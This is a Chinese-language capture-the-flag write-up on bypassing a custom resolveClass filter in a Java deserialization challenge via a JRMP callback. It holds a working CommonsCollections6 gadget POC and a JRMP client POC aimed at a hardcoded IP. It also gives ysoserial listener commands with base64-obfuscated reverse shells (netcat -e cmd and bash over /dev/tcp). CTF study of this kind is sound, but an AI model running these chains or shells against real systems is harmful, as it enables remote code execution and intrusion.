0x00 前言
我打算深入分析具体的流程,进而总结出更多的调试经验。
0x01 正文
问题表象
搭建Docker和本地环境,开启服务:

观察题目文件和jar包:

看到CC包,难免想试试cc链攻击。但是在此之前,需要先观察题目文件的具体逻辑:

自定义了MyObjectInputStream类来替代ObjectInputStream类,并且重载了resolveClass方法(resolveClass方法通常用于根据类名动态加载相应的类):

没多想这样的改动,先用CC6试试。
事实上,当发现类和方法被修改时,应该与原始的代码去对比,比较不同之处,进而针对性地解决问题。
CC6_POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package com.yxxx.javasec.deserialize;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.util.HashMap; import java.util.Map;
public class POC_CC6 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map decoratedMap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratedMap, "111"); HashMap<Object, Object> map1 = new HashMap<>(); map1.put(tiedMapEntry, "222"); decoratedMap.remove("111");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF("SJTU"); objectOutputStream.writeInt(1896); objectOutputStream.writeObject(map1); objectOutputStream.close(); System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray())); byteArrayOutputStream.close();
} }
|
响应包:

数组加载
500属于服务端错误,看看堆栈:

找不到这个类:[Lorg.apache.commons.collections.Transformer;
跟进去,查看具体的源码逻辑:

简而言之,就是URLClassLoader.findClass方法无法找到[Lorg.apache.commons.collections.Transformer类。
不难猜到,[Lorg.apache.commons.collections.Transformer;
并没有对应的静态文件,因为数组类型的类是由JVM动态生成的。
那平常的数组类是用什么方法进行加载的呢?没错,forName方法。我们不妨看看正常的数组类加载流程:

调到这边:

对比重载的reslolveClass方法,不难发现原先用forName方法加载类变成了用loadClass方法加载类。同时,URLClassLoader.findClass无法加载原生类和数组类,所以才会爆出上文的错误。
原生调用
那么我们使用原生的ObjectInputStream,还能不能进行反序列化攻击呢:


可以弹Calc。
摆脱数组
显然数组是不能使用的,又受限于commons-collections依赖版本的影响,导致几乎所有CC链都无法使用。
往Shiro的方向思考一下,shiro反序列化中没有用到数组类,但题目没给CB依赖。
本次使用这一种方法:出网情况下的靶机开启客户端jrmp,让其访问攻击机的jrmp服务器端并执行恶意的反序列化。
也就是说,我们先起一个JRMP服务端,再通过反序列化的方式让靶机访问该服务端,该服务端传入恶意链子进而RCE。
第一步:产生访问JRMP客户端的反序列化链子,POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package com.yxxx.javasec.deserialize;
import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Proxy; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random;
import static com.yxxx.javasec.deserialize.Utils.bytesTohexString; import static org.apache.commons.collections.MapUtils.getObject;
public class POC_JRMP { public static void main(String[] args) throws Exception{ Registry registry = (Registry) getObject("120.26.138.45",1099); byte[] serializable = serializable(registry); String string = bytesTohexString(serializable); System.out.println(string); }
public static Object getObject(String host,int port){ ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(POC_JRMP.class.getClassLoader(), new Class[] {Registry.class}, obj); return proxy; } public static String bytesTohexString(byte[] bytes) { if (bytes == null) return null; StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0; i < bytes.length; i++) { int b = 0xF & bytes[i] >> 4; ret.append("0123456789abcdef".charAt(b)); b = 0xF & bytes[i]; ret.append("0123456789abcdef".charAt(b)); } return ret.toString(); } public static byte[] serializable(Object object) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF("SJTU"); objectOutputStream.writeInt(1896); objectOutputStream.writeObject(object); objectOutputStream.close(); return byteArrayOutputStream.toByteArray(); } }
|
第二步:搭建恶意的JRMP服务端:

具体命令如下:(适用于Windows)
1
| java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "powershell -c \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('RTovYWxsX3Rvb2wvRVhFL2NtZC9uZXRjYXQtd2luMzItMS4xMi9uYzY0LmV4ZSAtZSBjbWQgMTIwLjI2LjEzOC40NSA1MjE='))|IEX\""
|
类似的适用于Linux的就比较常见了:(适用于Linux)
1
| java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAzLzEwOTkgMD4mMQ==}|{base64, -d}|{bash, -i}"
|
第三步:监听将要接受shell的端口:

第四步:发送POC_JRMP里输出的序列化数据:

最后,成功反弹shell:

0x03 小结
说简单吧,全然不是。说难吧,就看自己愿不愿意去思考。